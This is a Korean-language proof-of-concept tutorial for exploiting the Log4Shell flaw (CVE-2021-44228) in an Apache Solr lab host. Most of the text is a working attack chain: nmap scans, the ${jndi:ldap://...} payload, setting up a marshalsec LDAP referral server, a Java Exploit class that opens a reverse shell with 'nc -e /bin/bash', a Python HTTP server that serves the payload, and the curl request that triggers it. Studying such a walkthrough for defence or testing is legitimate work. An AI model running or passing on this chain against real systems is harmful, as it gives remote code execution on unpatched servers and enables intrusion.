
Log4j 취약점 RCE - CVE-2021-44228
이 취약점은 2021년 12월 9일에 발견되었으며, CVE-2021-44228로 식별됩니다. 이 결함은 Java 로그 패키지에 영향을 미치며, 심각도 점수(CVSS)가 10점 을 생성하여 호스트에 대한 원격 액세스 실행을 제공합니다. 이 취약점은 보안 커뮤니티에서 LOG4SHELL로 알려져 있습니다.
LOG4J 취약점의 영향을 받는 소프트웨어 공급업체 목록을 원한다면 아래 저장소를 확인하세요.
이 유형의 공격을 시연하기 위해, log4j 패키지의 취약한 버전(Apache Solr 8.11.0)과 __Java 1.8.0_181__이 설치된 호스트가 있습니다.
nmap 도구(또는 관심 있는 다른 도구)를 사용하여 이 머신에서 어떤 포트가 열려 있는지 파악하는 기본 정찰부터 시작하세요.
nmap -v -p- poc.log4j - 취약한 호스트

이 경우 3개의 열린 포트가 발견되었습니다. 열린 포트만 지정하고 -sV 명령(포트 애플리케이션 버전 반환)을 추가하여 nmap을 개선해 보겠습니다.
nmap -v -p22,111,8983 -sV poc.log4j

아마도 포트 8983 에서 아파치가 실행 중일 것입니다. 아래에서 아파치를 확인할 수 있습니다. 이 Apache Solr 인스턴스에는 데이터가 전혀 포함되어 있지 않습니다. 그것은 단순하고, 기본 그대로이며, 완전히 최소한의 설치입니다.
log4j의 주요 공격 벡터는 애플리케이션 로그에 있습니다. Solr 화면을 보면 __Dsolr.log.dir__에서 로그가 활성화되어 있는 것을 확인할 수 있습니다.
방금 찾은 URL 엔드포인트는 웹 인터페이스에서 볼 때 solr/ 접두사를 붙여야 합니다. 즉, 다음 주소를 방문해야 합니다:
http://poc.log4j:8983/solr/admin/cores
- 왜 /admin/cores 인가요? ❓ 💬
여기에서 악용될 수 있는 취약점을 찾을 수 있습니다. 이 호출은 실행할 변수(params={})를 받습니다. 이 입력을 조작하여 페이로드를 보낼 수 있습니다. 아래에서 아파치가 이 URL __/admin/cores__를 호출하여 생성한 로그를 볼 수 있습니다.
이를 이용하는 일반적인 구문 형식은 다음과 같습니다.
${jndi:ldap://ATTACKERCONTROLLEDHOST}
이 구문은 log4j가 "JNDI" 또는 "Java Naming and Directory Interface"의 기능을 호출한다는 것을 나타냅니다. 궁극적으로 이는 외부 리소스 또는 "참조"에 액세스하는 데 사용될 수 있으며, 이것이 이 공격에서 무기화되는 것입니다. ldap:// 스키마에 주목하세요. 이는 대상이 LDAP 프로토콜을 통해 엔드포인트(이 공격의 경우 공격자가 제어하는 위치)에 연결한다는 것을 나타냅니다.
이 ldap 구문을 어디에 입력할 수 있을까요?
HTTP GET 변수나 매개변수를 제공하기만 하면 log4j가 이를 처리하고 구문 분석합니다. 이 한 줄의 텍스트만으로 충분하며, 이로 인해 이 취약점을 악용하는 것이 매우 쉬워집니다.
이 JNDI 구문을 입력할 수 있는 다른 위치:
이 단계에서는 대상 호스트에서 log4j 버전을 발견한 후 해당 버전이 취약한지 테스트해야 합니다.
공격 호스트에서 포트 6666을 엽니다.
nc -vnlp 6666
HTTP 매개변수의 일부로 이 기본적인 JNDI 페이로드 구문을 포함하는 요청을 만듭니다. 이는 curl 명령줄 유틸리티로 쉽게 수행할 수 있습니다.

페이로드를 실행하면 포트 6666에서 netcat으로 응답을 받습니다. 🙌

이 시점에서 netcat 리스너에서 이 연결을 확인함으로써 대상이 실제로 취약하다는 것을 검증한 것입니다. 그러나 LDAP 요청이므로 netcat 리스너가 볼 수 있는 것은 인쇄할 수 없는 문자(이상해 보이는 바이트)뿐일 수 있습니다. 이제 이 기반 위에 실제 LDAP 핸들러로 응답하는 기능을 구축할 수 있습니다.
위의 curl에서 보았듯이 LDAP 프로토콜을 사용하여 NC에서 요청을 수신할 수 있었습니다. 그러나 다른 프로토콜을 사용하기 때문에 응답을 시각화하거나 조작할 수 없습니다.
다음 단계는 요청을 처리할 수 있는 LDAP 서버를 만드는 것입니다. 시작해 봅시다!
이 POC를 빠르게 진행하기 위해 이미 준비된 유틸리티를 사용할 것입니다: https://github.com/mbechler/marshalsec
marshalsec 스크립트를 사용하려면 maven을 사용해야 합니다. Maven은 apt install maven으로 설치할 수 있습니다.
marshalsec 저장소 안에서 maven으로 시작하세요: mvn clean package -DskipTests
jar를 빌드한 후 LDAP 서버를 시작하여 요청을 리디렉션할 수 있습니다.
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

LDAP 서버를 실행 상태로 두고 서버를 익스플로잇할 스크립트를 만들겠습니다.
Exploit.java 파일을 만드세요.#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java -source 8 -target 8로 익스플로잇을 컴파일해 봅시다. 그러면 Exploit.class가 생성됩니다.
익스플로잇이 준비되면 Python 서버 python3 -m http.server에서 호스팅합시다.
이전에 만든 Java bash 명령을 수신하기 위해 NC로 포트를 엽니다. 새 nc -lnvp 9999 리스너를 생성합니다.
모든 것을 작동시켜 봅시다! Python으로 만든 포트 8000에서 우리의 익스플로잇을 찾도록 서버에 강제하는 CURL 요청을 보냅시다.
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'